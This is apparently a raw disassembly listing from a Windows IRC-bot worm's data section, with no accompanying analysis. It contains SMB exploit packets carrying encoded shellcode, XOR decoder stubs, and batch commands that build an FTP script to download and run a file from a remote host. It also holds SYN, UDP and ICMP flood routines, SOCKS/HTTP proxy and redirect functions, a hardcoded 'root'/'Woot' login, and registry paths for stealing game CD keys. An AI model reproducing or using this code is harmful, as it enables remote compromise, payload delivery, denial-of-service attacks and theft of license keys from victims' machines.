999B9E5Eh word_445EC8 dw 4B9Dh ; DATA XREF: sub_4257F0+105w dw 59AAh dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh, 66CAC9C9h dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h, 10627B17h dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66677671h dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh dd 99EDFCF2h, 0 dword_445FB0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: ___:00425E52o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_44603C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00425E87o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_4460E8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00425EB6o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4461C8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+5Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h db 43h, 0, 24h dword_44621F dd 3F000000h dword_446223 dd 3F3F3F3Fh byte_446227 db 0 ; DATA XREF: sub_4257F0+B4r dd 0 dword_44622C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+2C2o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_446298 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+2F5o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_44633C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+3FAo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4463BC dd offset sub_401492+3 ; DATA XREF: sub_4257F0+42Bo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset byte_406FB0+0CCh dd 1, 0 dd 1, 0 dd offset byte_406FB0+0CCh dd 1, 0 dd 1, 0 dd offset byte_406FB0+0CCh dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_446450 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+335o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4464BC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+368o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_446530 dd 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 3 dup(0) dword_4465BC dd 1004600h ; sub_4257F0+24Fr dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0) dword_4467A4 dd 61622E63h, 0A0D74h, 0aEchoExitYC_bat db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+2A0o align 4 dd 0 aEchoDelFC_batC db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+277o align 10h aEchoDel_pifC_b db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+24Eo dd 0 aEchoSC_bat db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+221o align 10h dd 0 aEchoFtpNVS_pif db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1E9o align 4 dd 0 aEcho@echoOffC_ db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1BCo align 8 aEchoBye_pif db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+18Fo align 10h aEchoGetS_pif db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+162o align 4 dd 0 aEchoBinary_pif db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+12Ao align 8 aEchoUserAA_pif db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+FDo align 10h dd 0 aEchoOpenSD_pif db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+D0o align 10h dword_4468F0 dd 6EB06EBh align 8 dword_4468F8 dd 73255C5Ch, 6370695Ch, 24h ; ___:00426352o dword_446904 dd 1CEC8166h dword_446908 dd 0E4FF07h align 10h dword_446910 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_44695C dd 3000005h, 10h, 830h, 0 dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0 dd 1, 2 dup(0) dword_44698C dd 0FAh, 2, 0 dd 2, 0 dd 0FAh, 2 dup(0) dword_4469AC dd 0D959516Ah, 2474D9EEh db 0F4h, 5Bh ; --------------------------------------------------------------------------- loc_4469B6: ; CODE XREF: ___:004469C0j xor dword ptr [ebx+13h], 889097A8h sub ebx, 0FFFFFFFCh loop loc_4469B6 sub [ebx+6Fh], edx db 67h push edi push 7CC274D4h frstor byte ptr [eax+51h] push 1CC8776Fh cld lodsb mov word ptr ds:95EB23B4h[edx*8], ds ; --------------------------------------------------------------------------- db 0F0h, 0A9h, 78h dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h, 7CA9ACCFh dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h, 4C994BF1h dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh, 4757DDC1h dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h, 4157DFD9h dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h, 68CC4C13h dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 19h dup(0) aOpenSDIiEchoUs db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge' ; DATA XREF: sub_426070+D6o db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 align 4 dd 6 dup(0) aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:004263B4o align 8 word_446C18 dw 2EBh ; DATA XREF: ___:00426331r align 4 dword_446C1C dd 215h dd 0 dword_446C24 dd 20804h dd 0 ; --------------------------------------------------------------------------- loc_446C2C: ; DATA XREF: sub_4267D0+CCo jmp short loc_446C30 ; --------------------------------------------------------------------------- loc_446C2E: ; CODE XREF: ___:loc_446C30p jmp short loc_446C35 ; --------------------------------------------------------------------------- loc_446C30: ; CODE XREF: ___:loc_446C2Cj call loc_446C2E loc_446C35: ; CODE XREF: ___:loc_446C2Ej pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_446C3A dw 0FFFFh ; DATA XREF: sub_4267D0+D3w db 80h, 73h, 0Eh byte_446C3F db 0FFh ; DATA XREF: sub_4267D0+DAw dd 0F9E243h ; --------------------------------------------------------------------------- loc_446C44: ; DATA XREF: sub_4267D0+A7o jmp short loc_446C48 ; --------------------------------------------------------------------------- loc_446C46: ; CODE XREF: ___:loc_446C48p jmp short loc_446C4D ; --------------------------------------------------------------------------- loc_446C48: ; CODE XREF: ___:loc_446C44j call loc_446C46 loc_446C4D: ; CODE XREF: ___:loc_446C46j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_446C51 db 0FFh ; DATA XREF: sub_4267D0+AEw dw 7380h db 0Ch byte_446C55 db 0FFh ; DATA XREF: sub_4267D0+B4w dw 0E243h dd 0F9h dword_446C5C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_426560+43o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_446CC0 dd 12h dd 70746674h, 6578652Eh, 20692D20h dword_446CD0 dd 74656720h byte_446CD4 db 20h ; DATA XREF: sub_426560+A2r dword_446CD5 dd 0E8006A00h dword_446CD9 dd 17h ; sub_426560+D2r dword_446CDD dd 0E8C30175h dword_446CE1 dd 1 ; sub_426560+E7r byte_446CE5 db 0, 6Ah, 0 ; DATA XREF: sub_426560+110o dd 7E8h db 0, 0Fh, 84h dword_446CEF dd 0FFFFFFEDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi ; free add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 10h dd 0Ch dup(0) aPing db 'ping',0 ; DATA XREF: sub_427740+22o align 4 aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0 ; DATA XREF: sub_427990+D0o align 4 dd 2 dup(0) aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_427990+B4o align 10h dd 2 dup(0) aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_427990+43o align 4 dd 0 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_427B10+38o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_427B10+2Bo align 10h aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_427B10+23o align 10h dd 0 aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_427B10+Co align 10h aForsyn db 'forsyn',0 ; DATA XREF: sub_427C90+22o align 4 aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_427D50+195o align 10h dd 0 aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_427D50+143o align 10h dd 0 aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_427D50+D3o align 10h aSyn db 'syn',0 ; DATA XREF: sub_4281A0+22o aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00428321o align 10h aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_428260+43o align 4 dd 0 aUdp db 'udp',0 ; DATA XREF: sub_428880+22o aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_428940+C0o align 10h dd 0 aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_428940+47o align 10h dd 0 off_446EF4 dd offset byte_455247 ; DATA XREF: sub_4290B0+22o aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_429330+AAo dd 3 dup(0) aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_429330+33o align 4 dd 3 dup(0) aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A6B1o db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Connection to %s:%d has failed',0Ah,0 align 4 dd 7 dup(0) aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A64Co db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Error Resolving %s',0Ah,0 align 10h dd 6 dup(0) aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: ___:0042A2C2o db 0Dh,0Ah,0 dd 2 dup(0) aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: ___:loc_42A131o ; ___:0042A147o align 10h aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: ___:0042A113o ; ___:0042A129o align 10h aConnection db 'Connection:',0 ; DATA XREF: ___:00429F54o align 10h aChunked db 'chunked',0 ; DATA XREF: ___:00429F11o dd 0 aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: ___:00429EC5o align 10h dd 0 aContentLength db 'Content-Length:',0 ; DATA XREF: ___:00429E2Do align 8 aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429C8Eo db 'Connection: close',0Dh,0Ah db '%s',0 align 10h aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429C59o db 'Connection: Keep-Alive',0Dh,0Ah db '%s',0 align 4 dd 0 aKeepAlive db 'Keep-Alive',0 ; DATA XREF: ___:loc_429B5Bo ; ___:00429FA0o align 4 dd 0 aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: ___:00429B30o align 10h dd 0 asc_4471E4 db 0Dh,0Ah,0 ; DATA XREF: ___:00429A1Co ; ___:00429ADCo ... align 4 aHttprox db 'HTTPROX',0 ; DATA XREF: ___:004299E7o dd 0 aConnect db 'connect',0 ; DATA XREF: ___:004297B2o align 10h aConnect_0 db 'CONNECT',0 ; DATA XREF: ___:0042977Do dd 0 off_44720C dd offset byte_544547 ; DATA XREF: ___:004296B8o aHttp_0 db 'HTTP',0 ; DATA XREF: sub_42ACB0+22o align 4 aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_42AF20+69o align 10h aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_42AF20+2Eo dd 2 dup(0) aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_42AF20+21o dd 2 dup(0) aSocks4 db 'Socks4',0 ; DATA XREF: sub_42AFF0+22o ; sub_42B380+22o align 4 aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42B440+1E1o align 4 dd 0 aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42B440+2Co align 4 dd 2 dup(0) dword_4472EC dd 1000005h, 0 dword_4472F4 dd 5, 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0 ; DATA XREF: sub_42CB70+20Fo align 10h dd 3 dup(0) aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0 ; DATA XREF: sub_42CB70+3Fo align 10h aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0 ; DATA XREF: ___:0042D725o dd 3 dup(0) aRoot db 'root',0 ; DATA XREF: ___:0042D6B1o align 4 dd offset aWoot ; "Woot" aWoot db 'Woot',0 ; DATA XREF: ___:004473BCo align 4 aNetworkFailedT db 'Network failed to start: %d',0Ah,0 align 4 dd 0 aCalloc db 'calloc',0 align 4 aSetsockopt db 'setsockopt',0 align 10h dd 0 aSocket db 'socket',0 align 4 aGethostbyname db 'gethostbyname',0 align 4 aGetservbyname db 'getservbyname',0 align 4 aTcp db 'tcp',0 ; DATA XREF: sub_42DB00+49o ; sub_42DB00:loc_42DBBDo aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42DE00:loc_42DE22o align 10h aRead db 'read',0 ; DATA XREF: sub_42DF40:loc_42E0DCo align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_42E3C0+72o dd 0 aUserS db 'USER %s',0 ; DATA XREF: sub_42E3C0+3Do align 10h aWrite db 'write',0 align 4 aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42E490+3Do aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42E5B0+203o align 8 dword_447498 dd 524F5453h byte_44749C db 0 ; DATA XREF: sub_42E5B0+EDr align 10h dword_4474A0 dd 52544552h byte_4474A4 db 0 ; DATA XREF: sub_42E5B0+D3r align 4 dword_4474A8 dd 5453494Ch byte_4474AC db 0 ; DATA XREF: sub_42E5B0+B8r align 10h dword_4474B0 dd 54534C4Eh byte_4474B4 db 0 ; DATA XREF: sub_42E5B0+9Er align 4 dword_4474B8 dd 45505954h, 632520h, 0 ; ___:0042F9BAo aMissingPathArg db 'Missing path argument for file transfer',0Ah,0 ; DATA XREF: sub_42E5B0+2Do align 10h dd 2 dup(0) aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0 align 10h dd 0 aListen db 'listen',0 align 4 aBind db 'bind',0 align 4 aGetsockname db 'getsockname',0 dd 0 aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42E870+10Eo align 4 dd 0 aPasv db 'PASV',0 ; DATA XREF: sub_42E870+B4o align 4 aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42E870+77o align 4 aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42E870+45o align 10h dd 0 aTimedOutWaitin db 'timed out waiting for connection',0 align 4 dd 0 aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0 align 4 dd 2 dup(0) aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+FBo align 4 dd 2 dup(0) aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+DBo align 4 dd 2 dup(0) aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042F3CEo align 8 aSyst db 'SYST',0 ; DATA XREF: ___:0042F42Do align 10h aMkdS db 'MKD %s',0 ; DATA XREF: ___:0042F4BEo align 4 aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042F53Eo align 10h aCdup db 'CDUP',0 ; DATA XREF: ___:0042F597o align 4 aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042F5EEo align 10h off_447670 dd offset aSocketOpenFail ; DATA XREF: ___:0042F64Do ; "socket open failed" aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42F6F0:loc_42F871o align 8 aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42F6F0+125o align 10h word_4476B0 dw 77h ; DATA XREF: sub_42F6F0+1Fr align 4 dword_4476B4 dd 25206425h, 64hdword_4476BC dd 455A4953h, 732520h, 0dword_4476C8 dd 4D54444Dh, 732520h, 0dword_4476D4 dd 4F544E52h, 732520h, 0dword_4476E0 dd 52464E52h, 732520h, 0dword_4476EC dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42FD30+10o align 10h dword_447700 dd 1 ; sub_431750+1Fw ... aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_432570+13o align 10h dd 0 aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_432570+6o align 4 aA: ; DATA XREF: sub_434D10+36o unicode 0, <>,0 dd 12h dup(0) dd offset aBattlefield194 ; "[Battlefield 1942: " dd 80000002h, 448854h, 448F30h, 448820h, 80000002h, 4487C0h dd 448F30h, 448790h, 80000002h, 448738h, 448F30h, 448714h dd 80000002h, 4486CCh, 448F30h, 4486B4h, 80000002h, 448670h dd 448F30h, 448648h, 80000002h, 44860Ch, 448F30h, 4485D8h dd 80000002h, 448578h, 448F30h, 44854Ch, 80000002h, 448528h dd 448520h, 4484F4h, 80000002h, 4484CCh, 448520h, 4484B4h dd 80000001h, 448484h, 448480h, 448470h, 80000002h, 448434h dd 448F30h, 448424h, 80000002h, 4483E8h, 448F30h, 4483D4h dd 80000002h, 44838Ch, 448F30h, 448370h, 80000002h, 44832Ch dd 448F30h, 448310h, 80000001h, 4482E8h, 448480h, 4482D8h dd 80000001h, 4482B0h, 448480h, 448290h, 80000002h, 448254h dd 448250h, 448234h, 80000002h, 448210h, 448208h, 4481F0h dd 80000001h, 4481C4h, 4481BCh, 448198h, 80000002h, 44814Ch dd 448F30h, 448124h, 80000002h, 4480D0h, 448F30h, 448098h dd 80000002h, 448034h, 448F30h, 448000h, 80000002h, 447FA0h dd 448F30h, 447F84h, 80000002h, 447F3Ch, 448F30h, 447F20h dd 80000002h, 447ED8h, 448F30h, 447EC8h, 80000002h, 447E8Ch dd 448F30h, 447E7Ch, 80000002h, 447E40h, 448F30h, 447E18h dd 80000002h, 447DC4h, 448F30h, 447D9Ch, 80000002h, 447D4Ch dd 448F30h, 447D30h, 80000002h, 447D08h, 448480h, 447CF4h dd 80000002h, 447CBCh, 448F30h, 447C8Ch, 80000002h, 447C34h dd 448F30h, 447C18h, 80000001h, 447BC8h, 447BC0h, 447BA4h dd 80000002h, 447B60h, 447B54h, 447B3Ch, 80000001h, 447B0Ch dd 447B00h, 447AE0h, 80000002h, 447AA4h, 447BC0h, 447A84h dd 80000002h, 447A48h, 447BC0h, 1Eh dup(0) aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0 align 4 dd 2 dup(0) aUnrealTourname db '[Unreal Tournament 2004: ',0 align 10h dd 0 aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0 align 10h aUnrealTourna_0 db '[Unreal Tournament 2003: ',0 align 10h aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 dd 2 dup(0) aTheGladiators db '[The Gladiators: ',0 align 10h dd 0 aSof2key db 'sof2key',0 align 10h aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0 align 4 dd 2 dup(0) aSoldierOfFortu db '[Soldier Of Fortune 2: ',0 align 10h aCdkey db 'CDKey',0 align 4 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 dd 3 dup(0) aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0 align 10h dd 0 aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit' db 'ion\ergc',0 align 10h dd 3 dup(0) aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0 align 4 dd 2 dup(0) aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0 align 4 dd 2 dup(0) dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aNeverwinterNig db '[Neverwinter Nights: ',0 align 4 dd 0 aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc' db 0 align 10h dd 3 dup(0) aNeedForSpeedUn db '[Need For Speed: Underground: ',0 align 4 dd 2 dup(0) aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er' db 'gc',0 dd 4 dup(0) aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0 align 10h aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A33h, 0 aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A32h, 0 aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 10h aNascarRacing20 db '[Nascar Racing 2003: ',0 align 4 dd 0 aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 dd 3 dup(0) aNascarRacing_0 db '[Nascar Racing 2002: ',0 align 10h aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S' db 'pearhead\ergc',0 align 10h dd 4 dup(0) aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0 dd 2 dup(0) aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B' db 'reakthrough\ergc',0 align 4 dd 4 dup(0) aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0 align 10h aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e' db 'rgc',0 align 4 dd 3 dup(0) aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0 align 4 dd 0 aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 dd 3 dup(0) aJamesBond007Ni db '[James Bond 007: Nightfire: ',0 align 4 dd 0 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aIndustryGiant2 db '[Industry Giant 2: ',0 align 8 aCdkey_0 db 'CDkey',0 align 10h aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0 dd 2 dup(0) aIgi2CovertStri db '[IGI2: Covert Strike: ',0 align 10h aKey db 'key',0 aSoftwareIllusi db 